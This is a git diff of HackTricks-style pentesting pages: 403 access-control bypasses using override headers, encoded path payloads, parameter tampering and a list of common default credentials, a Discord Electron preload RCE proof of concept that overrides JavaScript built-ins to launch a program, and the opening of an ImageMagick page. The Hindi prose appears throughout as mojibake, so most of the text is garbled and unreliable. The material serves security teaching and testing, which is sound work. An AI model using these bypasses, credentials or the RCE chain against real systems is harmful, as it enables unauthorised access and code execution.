рд▓реЗрдХрд┐рди рдЖрдкрдХреЛ рдЕрднреА рднреА рдЙрд╕ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рдирд┐рдХрд╛рд▓рдиреЗ рдХрд╛ рдПрдХ рддрд░реАрдХрд╛ рдЦреЛрдЬрдирд╛ рд╣реЛрдЧрд╛ред +- рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╣реЗрдбрд░ рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВ, рд╢рд╛рдпрдж рдХреБрдЫ рдЬрд╛рдирдХрд╛рд░реА рджреА рдЬрд╛ рд╕рдХрддреА рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, **HEAD** рдХреЗ рд▓рд┐рдП **200 рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛** рдЬрд┐рд╕рдореЗрдВ `Content-Length: 55` рд╣реИ, рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ **HEAD рдХреНрд░рд┐рдпрд╛ рдЬрд╛рдирдХрд╛рд░реА рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреА рд╣реИ**ред рд▓реЗрдХрд┐рди рдЖрдкрдХреЛ рдЕрднреА рднреА рдЙрд╕ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рдирд┐рдХрд╛рд▓рдиреЗ рдХрд╛ рдПрдХ рддрд░реАрдХрд╛ рдЦреЛрдЬрдирд╛ рд╣реЛрдЧрд╛ред - `X-HTTP-Method-Override: PUT` рдЬреИрд╕реЗ HTTP рд╣реЗрдбрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╕реЗ рдЙрдкрдпреЛрдЧ рдХреА рдЧрдИ рдХреНрд░рд┐рдпрд╛ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред - **`TRACE`** рдХреНрд░рд┐рдпрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рдФрд░ рдпрджрд┐ рдЖрдк рдмрд╣реБрдд рднрд╛рдЧреНрдпрд╢рд╛рд▓реА рд╣реИрдВ рддреЛ рд╢рд╛рдпрдж рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдЖрдк **рдордзреНрдпрд╡рд░реНрддреА рдкреНрд░реЙрдХреНрд╕реА рджреНрд╡рд╛рд░рд╛ рдЬреЛрдбрд╝реЗ рдЧрдП рд╣реЗрдбрд░** рднреА рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред ## HTTP Headers Fuzzing - **Host рд╣реЗрдбрд░** рдХреЛ рдХрд┐рд╕реА рдордирдорд╛рдиреЗ рдорд╛рди рдореЗрдВ рдмрджрд▓реЗрдВ ([рдпрд╣рд╛рдБ рдХрд╛рдо рдХрд┐рдпрд╛](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31)) -- рд╕рдВрд╕рд╛рдзрди рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП [**рдЕрдиреНрдп рдпреВрдЬрд░ рдПрдЬреЗрдВрдЯреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt)ред +- рд╕рдВрд╕рд╛рдзрди рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП [**рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдПрдЬреЗрдВрдЯреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt)ред - **HTTP рд╣реЗрдбрд░ рдХреЛ рдлрдЬрд╝ рдХрд░реЗрдВ**: HTTP рдкреНрд░реЙрдХреНрд╕реА **рд╣реЗрдбрд░**, HTTP рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдмреЗрд╕рд┐рдХ рдФрд░ NTLM рдмреНрд░реВрдЯ-рдлреЛрд░реНрд╕ (рдХреЗрд╡рд▓ рдХреБрдЫ рд╕рдВрдпреЛрдЬрдиреЛрдВ рдХреЗ рд╕рд╛рде) рдФрд░ рдЕрдиреНрдп рддрдХрдиреАрдХреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВред рдЗрд╕рдХреЗ рд▓рд┐рдП рдореИрдВрдиреЗ рдЙрдкрдХрд░рдг [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass) рдмрдирд╛рдпрд╛ рд╣реИред - `X-Originating-IP: 127.0.0.1` @@ -35,16 +35,16 @@ - `X-Original-URL: /admin/console` - `X-Rewrite-URL: /admin/console` -- рдпрджрд┐ рдкреГрд╖реНрда **рдкреНрд░реЙрдХреНрд╕реА рдХреЗ рдкреАрдЫреЗ рд╣реИ**, рддреЛ рд╢рд╛рдпрдж рдкреНрд░реЙрдХреНрд╕реА рдЖрдкрдХреЛ рдирд┐рдЬреА рдЬрд╛рдирдХрд╛рд░реА рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рд╕реЗ рд░реЛрдХ рд░рд╣реА рд╣реИред [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/index.html) **рдпрд╛** [**hop-by-hop headers**](../../pentesting-web/abusing-hop-by-hop-headers.md)** рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВред** +- рдпрджрд┐ рдкреГрд╖реНрда **рдкреНрд░реЙрдХреНрд╕реА рдХреЗ рдкреАрдЫреЗ рд╣реИ**, рддреЛ рд╢рд╛рдпрдж рдкреНрд░реЙрдХреНрд╕реА рдЖрдкрдХреЛ рдирд┐рдЬреА рдЬрд╛рдирдХрд╛рд░реА рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рд╕реЗ рд░реЛрдХ рд░рд╣реА рд╣реИред [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/index.html) **рдпрд╛** [**hop-by-hop рд╣реЗрдбрд░**](../../pentesting-web/abusing-hop-by-hop-headers.md)** рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВред** - рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рддрд▓рд╛рд╢ рдореЗрдВ [**рд╡рд┐рд╢реЗрд╖ HTTP рд╣реЗрдбрд░**](special-http-headers.md) рдХреЛ рдлрдЬрд╝ рдХрд░реЗрдВред -- **HTTP рд╡рд┐рдзрд┐рдпреЛрдВ** рдХреЛ рдлрдЬрд╝ рдХрд░рддреЗ рд╕рдордп **рд╡рд┐рд╢реЗрд╖ HTTP рд╣реЗрдбрд░** рдХреЛ рдлрдЬрд╝ рдХрд░реЗрдВред +- **HTTP рд╡рд┐рдзрд┐рдпреЛрдВ** рдХреЛ рдлрдЬрд╝ рдХрд░рддреЗ рд╕рдордп рд╡рд┐рд╢реЗрд╖ HTTP рд╣реЗрдбрд░ рдХреЛ рдлрдЬрд╝ рдХрд░реЗрдВред - **Host рд╣реЗрдбрд░ рдХреЛ рд╣рдЯрд╛ рджреЗрдВ** рдФрд░ рд╢рд╛рдпрдж рдЖрдк рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдВрдЧреЗред ## Path **Fuzzing** рдпрджрд┐ _/path_ рдЕрд╡рд░реБрджреНрдз рд╣реИ: -- _**/**_**%2e/path рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ \_(рдпрджрд┐ рдкрд╣реБрдБрдЪ рдкреНрд░реЙрдХреНрд╕реА рджреНрд╡рд╛рд░рд╛ рдЕрд╡рд░реБрджреНрдз рд╣реИ, рддреЛ рдпрд╣ рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддрд╛ рд╣реИ)ред **\_\*\* /%252e\*\*/path (рдбрдмрд▓ URL рдПрдиреНрдХреЛрдб) рдХрд╛ рднреА рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВ** +- `/%2e/path` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ (рдпрджрд┐ рдкрд╣реБрдБрдЪ рдкреНрд░реЙрдХреНрд╕реА рджреНрд╡рд╛рд░рд╛ рдЕрд╡рд░реБрджреНрдз рд╣реИ, рддреЛ рдпрд╣ рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддрд╛ рд╣реИ)ред `/%252e**/path` (рдбрдмрд▓ URL рдПрдиреНрдХреЛрдб) рдХрд╛ рднреА рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВред - **Unicode рдмрд╛рдпрдкрд╛рд╕** рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВ: _/**%ef%bc%8f**path_ (URL рдПрдиреНрдХреЛрдбреЗрдб рд╡рд░реНрдг рдЬреИрд╕реЗ "/" рд╣реИрдВ) рдЗрд╕рд▓рд┐рдП рдЬрдм рдЗрд╕реЗ рдлрд┐рд░ рд╕реЗ рдПрдиреНрдХреЛрдб рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рддреЛ рдпрд╣ _//path_ рд╣реЛрдЧрд╛ рдФрд░ рд╢рд╛рдпрдж рдЖрдк рдкрд╣рд▓реЗ рд╕реЗ рд╣реА _/path_ рдирд╛рдо рдХреА рдЬрд╛рдБрдЪ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рдЪреБрдХреЗ рд╣реЛрдВрдЧреЗред - **рдЕрдиреНрдп рдкрде рдмрд╛рдпрдкрд╛рд╕**: - site.com/secret тАУ> HTTP 403 Forbidden @@ -73,28 +73,28 @@ ## **Parameter Manipulation** -- **param value** рдмрджрд▓реЗрдВ: **`id=123` --> `id=124`** +- **param рдорд╛рди** рдмрджрд▓реЗрдВ: **`id=123` --> `id=124`** - URL рдореЗрдВ рдЕрддрд┐рд░рд┐рдХреНрдд рдкреИрд░рд╛рдореАрдЯрд░ рдЬреЛрдбрд╝реЗрдВ: `?`**`id=124` тАФ-> `id=124&isAdmin=true`** - рдкреИрд░рд╛рдореАрдЯрд░ рд╣рдЯрд╛ рджреЗрдВ -- рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рдкреБрдирдГ рдХреНрд░рдордмрджреНрдз рдХрд░реЗрдВ +- рдкреИрд░рд╛рдореАрдЯрд░ рдХрд╛ рдХреНрд░рдо рдмрджрд▓реЗрдВ - рд╡рд┐рд╢реЗрд╖ рд╡рд░реНрдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред - рдкреИрд░рд╛рдореАрдЯрд░ рдореЗрдВ рд╕реАрдорд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░реЗрдВ тАФ рдЬреИрд╕реЗ _-234_ рдпрд╛ _0_ рдпрд╛ _99999999_ (рдХреЗрд╡рд▓ рдХреБрдЫ рдЙрджрд╛рд╣рд░рдг рдорд╛рди) рдкреНрд░рджрд╛рди рдХрд░реЗрдВред ## **Protocol version** -рдпрджрд┐ HTTP/1.1 рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣реЗ рд╣реИрдВ рддреЛ **1.0** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ рдпрд╛ рдпрд╣ рднреА рдкрд░реАрдХреНрд╖рдг рдХрд░реЗрдВ рдХрд┐ рдХреНрдпрд╛ рдпрд╣ **2.0** рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИред +рдпрджрд┐ HTTP/1.1 рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣реЗ рд╣реИрдВ рддреЛ **1.0** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ рдпрд╛ рдпрд╣ **2.0** рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ рдпрд╛ рдирд╣реАрдВ, рдЗрд╕рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░реЗрдВред ## **Other Bypasses** - рдбреЛрдореЗрди рдХрд╛ **IP** рдпрд╛ **CNAME** рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ рдФрд░ **рдкреНрд░рддреНрдпрдХреНрд╖ рд╕рдВрдкрд░реНрдХ рдХрд░рдиреЗ** рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВред -- рд╕рд╛рдорд╛рдиреНрдп GET рдЕрдиреБрд░реЛрдз рднреЗрдЬрдХрд░ рд╕рд░реНрд╡рд░ рдХреЛ **рддрдирд╛рд╡рд┐рдд рдХрд░рдиреЗ** рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ ([рдпрд╣ рдЗрд╕ рд╡реНрдпрдХреНрддрд┐ рдХреЗ рд▓рд┐рдП рдлреЗрд╕рдмреБрдХ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд┐рдпрд╛](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)). +- рд╕рд╛рдорд╛рдиреНрдп GET рдЕрдиреБрд░реЛрдз рднреЗрдЬрдХрд░ рд╕рд░реНрд╡рд░ рдХреЛ **рддрдирд╛рд╡ рдореЗрдВ рдбрд╛рд▓рдиреЗ** рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ ([рдпрд╣ рдЗрд╕ рд╡реНрдпрдХреНрддрд┐ рдХреЗ рд▓рд┐рдП рдлреЗрд╕рдмреБрдХ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд┐рдпрд╛](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125))ред - **рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдмрджрд▓реЗрдВ**: http рд╕реЗ https рдореЗрдВ, рдпрд╛ https рд╕реЗ http рдореЗрдВ - [**https://archive.org/web/**](https://archive.org/web/) рдкрд░ рдЬрд╛рдПрдВ рдФрд░ рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЕрддреАрдд рдореЗрдВ рд╡рд╣ рдлрд╝рд╛рдЗрд▓ **рд╡рд┐рд╢реНрд╡ рд╕реНрддрд░ рдкрд░ рд╕реБрд▓рдн** рдереАред ## **Brute Force** -- **рдкрд╛рд╕рд╡рд░реНрдб рдХрд╛ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛рдПрдВ**: рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕рд╛рдорд╛рдиреНрдп рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░реЗрдВред рдХреНрдпрд╛ рдЖрдк рдкреАрдбрд╝рд┐рдд рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдХреБрдЫ рдЬрд╛рдирддреЗ рд╣реИрдВ? рдпрд╛ CTF рдЪреБрдиреМрддреА рдХрд╛ рдирд╛рдо? -- [**Brute force**](../../generic-hacking/brute-force.md#http-brute)**:** рдмреБрдирд┐рдпрд╛рджреА, рдбрд╛рдЗрдЬреЗрд╕реНрдЯ рдФрд░ NTLM рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВред +- **рдкрд╛рд╕рд╡рд░реНрдб рдХрд╛ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛рдПрдВ**: рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕рд╛рдорд╛рдиреНрдп рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░реЗрдВред рдХреНрдпрд╛ рдЖрдк рдкреАрдбрд╝рд┐рдд рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдХреБрдЫ рдЬрд╛рдирддреЗ рд╣реИрдВ? рдпрд╛ CTF рдЪреБрдиреМрддреА рдХрд╛ рдирд╛рдо? +- [**Brute force**](../../generic-hacking/brute-force.md#http-brute)**:** рдореВрд▓, рдбрд╛рдЗрдЬреЗрд╕реНрдЯ рдФрд░ NTLM рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВред ```:Common creds admin admin admin password @@ -114,4 +114,5 @@ guest guest - [Forbidden Buster](https://github.com/Sn1r/Forbidden-Buster) - [NoMoreForbidden](https://github.com/akinerk/NoMoreForbidden) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md index c0d452ec2..4d76d2bf2 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md @@ -29,18 +29,18 @@ return 1337 CLICK ``` -рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рд▓рд┐рдП рдЕрдиреБрдорддрд┐ рдорд╛рдВрдЧрдиреЗ рд╡рд╛рд▓реЗ рдкреНрд░реЙрдореНрдкреНрдЯ рдХреЗ рдмрд┐рдирд╛ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдЪрд▓рд╛рдиреЗ рдХреЗ рдЕрдиреНрдп рддрд░реАрдХреЛрдВ рдХреЗ рд▓рд┐рдП рдореВрд▓ рд╕реНрд▓рд╛рдЗрдб рджреЗрдЦреЗрдВред +Check the original slides for other ways to execute programs without having a prompt asking for permissions. -рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ рдХреЛрдб рд▓реЛрдб рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХрд╛ рдПрдХ рдФрд░ рддрд░реАрдХрд╛ рдХреБрдЫ рдЗрд╕ рддрд░рд╣ рд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд░рдирд╛ рд╣реИ `file://127.0.0.1/electron/rce.jar` +Apparently another way to load and execute code is to access something like `file://127.0.0.1/electron/rce.jar` -## рдЙрджрд╛рд╣рд░рдг 2: рдбрд┐рд╕реНрдХреЙрд░реНрдб рдРрдк RCE +## Example 2: Discord App RCE -[https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1) рд╕реЗ рдЙрджрд╛рд╣рд░рдг +Example from [https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1) -рдЬрдм рдореИрдВрдиреЗ рдкреНрд░реАрд▓реЛрдб рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреА рдЬрд╛рдВрдЪ рдХреА, рддреЛ рдореИрдВрдиреЗ рдкрд╛рдпрд╛ рдХрд┐ рдбрд┐рд╕реНрдХреЙрд░реНрдб рдЙрд╕ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рдХреБрдЫ рдЕрдиреБрдордд рдореЙрдбреНрдпреВрд▓ рдХреЛ `DiscordNative.nativeModules.requireModule('MODULE-NAME')` рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╡реЗрдм рдкреГрд╖реНрда рдореЗрдВ рдХреЙрд▓ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред\ -рдпрд╣рд╛рдВ, рдореИрдВ RCE рдХреЗ рд▓рд┐рдП рд╕реАрдзреЗ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛ рд╕рдХрдиреЗ рд╡рд╛рд▓реЗ рдореЙрдбреНрдпреВрд▓, рдЬреИрд╕реЗ _child_process_ рдореЙрдбреНрдпреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд░ рд╕рдХрд╛, рд▓реЗрдХрд┐рди рдореИрдВрдиреЗ **JavaScript рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдб рдХрд░рдХреЗ RCE рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдХреЛрдб рдкрд╛рдпрд╛** рдФрд░ рдЙрдЬрд╛рдЧрд░ рдХрд┐рдП рдЧрдП рдореЙрдбреНрдпреВрд▓ рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдореЗрдВ рд╣рд╕реНрддрдХреНрд╖реЗрдк рдХрд┐рдпрд╛ред +When checking the preload scripts, I found that Discord exposes the function, which allows some allowed modules to be called via `DiscordNative.nativeModules.requireModule('MODULE-NAME')`, into the web page.\ +рдпрд╣рд╛рдБ, рдореИрдВ RCE рдХреЗ рд▓рд┐рдП рд╕реАрдзреЗ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛ рд╕рдХрдиреЗ рд╡рд╛рд▓реЗ рдореЙрдбреНрдпреВрд▓, рдЬреИрд╕реЗ _child_process_ рдореЙрдбреНрдпреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд░ рд╕рдХрд╛, рд▓реЗрдХрд┐рди рдореИрдВрдиреЗ **рдПрдХ рдХреЛрдб рдкрд╛рдпрд╛ рдЬрд╣рд╛рдБ RCE рдХреЛ JavaScript рдХреЗ рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд рддрд░реАрдХреЛрдВ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдб рдХрд░рдХреЗ рдФрд░ рдПрдХреНрд╕рдкреЛрдЬрд╝ рдХрд┐рдП рдЧрдП рдореЙрдбреНрдпреВрд▓ рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдореЗрдВ рд╣рд╕реНрддрдХреНрд╖реЗрдк рдХрд░рдХреЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ**ред -рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд PoC рд╣реИред рдореИрдВрдиреЗ рдкреБрд╖реНрдЯрд┐ рдХреА рдХрд┐ **calc** рдПрдкреНрд▓рд┐рдХреЗрд╢рди **рдкреЙрдк** рд╣реЛрддрд╛ рд╣реИ рдЬрдм рдореИрдВ **`getGPUDriverVersions` рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░рддрд╛ рд╣реВрдБ** рдЬреЛ "_discord_utils_" рдирд╛рдордХ рдореЙрдбреНрдпреВрд▓ рдореЗрдВ devTools рд╕реЗ рдкрд░рд┐рднрд╛рд╖рд┐рдд рд╣реИ, рдЬрдмрдХрд┐ **`RegExp.prototype.test` рдФрд░ `Array.prototype.join` рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдб рдХрд░рддреЗ рд╣реБрдП**ред +The following is the PoC. I was able to confirm that the **calc** application is **popped** up when I c**all the `getGPUDriverVersions` function** which is defined in the module called "_discord_utils_" from devTools, while **overriding the `RegExp.prototype.test` and `Array.prototype.join`**. ```javascript RegExp.prototype.test = function () { return false @@ -71,6 +71,12 @@ result.nvidia = { error: e.toString() } return result } ``` -рдЖрдорддреМрд░ рдкрд░ _execa_ "_nvidia-smi.exe_" рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИ, рдЬреЛ `nvidiaSmiPath` рд╡реЗрд░рд┐рдПрдмрд▓ рдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд╣реИ, рд╣рд╛рд▓рд╛рдБрдХрд┐, рдУрд╡рд░рд░рд╛рдЗрдб рдХрд┐рдП рдЧрдП `RegExp.prototype.test` рдФрд░ `Array.prototype.join` рдХреЗ рдХрд╛рд░рдг, **рдЖрд░реНрдЧреБрдореЗрдВрдЯ рдХреЛ "**_**calc**_**" рдореЗрдВ \_execa**\_** рдХреЗ рдЖрдВрддрд░рд┐рдХ рдкреНрд░реЛрд╕реЗрд╕рд┐рдВрдЧ рдореЗрдВ рдмрджрд▓ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ**ред +рдЖрдорддреМрд░ рдкрд░ _execa_ "_nvidia-smi.exe_" рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИ, рдЬреЛ `nvidiaSmiPath` рд╡реЗрд░рд┐рдПрдмрд▓ рдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд╣реИ, рд╣рд╛рд▓рд╛рдБрдХрд┐, рдУрд╡рд░рд░рд╛рдЗрдб рдХрд┐рдП рдЧрдП `RegExp.prototype.test` рдФрд░ `Array.prototype.join` рдХреЗ рдХрд╛рд░рдг, **рдЖрд░реНрдЧреБрдореЗрдВрдЯ рдХреЛ _execa**_** рдХреА рдЖрдВрддрд░рд┐рдХ рдкреНрд░реЛрд╕реЗрд╕рд┐рдВрдЧ рдореЗрдВ "**_**calc**_**" рдореЗрдВ рдмрджрд▓ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ**ред рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, рдЖрд░реНрдЧреБрдореЗрдВрдЯ рдХреЛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рджреЛ рднрд╛рдЧреЛрдВ рдХреЛ рдмрджрд▓рдХрд░ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред + +[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36) + +[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/imagemagick-security.md b/src/network-services-pentesting/pentesting-web/imagemagick-security.md index 0507dc5b5..e4b878cb8 100644 --- a/src/network-services-pentesting/pentesting-web/imagemagick-security.md +++ b/src/network-services-pentesting/pentesting-web/imagemagick-security.md @@ -2,17 +2,17 @@ {{#include ../../banners/hacktricks-training.md}} -рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ [**https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html**](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html) +рдЕрдзрд┐рдХ рд╡рд┐рд╡рд░рдг рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ [**https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html**](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html) ImageMagick, рдПрдХ рдмрд╣реБрдкрд░рдХрд╛рд░реА рдЫрд╡рд┐ рдкреНрд░рд╕рдВрд╕реНрдХрд░рдг рдкреБрд╕реНрддрдХрд╛рд▓рдп, рдЕрдкрдиреА рд╕реБрд░рдХреНрд╖рд╛ рдиреАрддрд┐ рдХреЛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рдиреЗ рдореЗрдВ рдЪреБрдиреМрддреА рдкреНрд░рд╕реНрддреБрдд рдХрд░рддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕рдХреЗ рдкрд╛рд╕ рд╡реНрдпрд╛рдкрдХ рд╡рд┐рдХрд▓реНрдк рд╣реИрдВ рдФрд░ рд╡рд┐рд╕реНрддреГрдд рдСрдирд▓рд╛рдЗрди 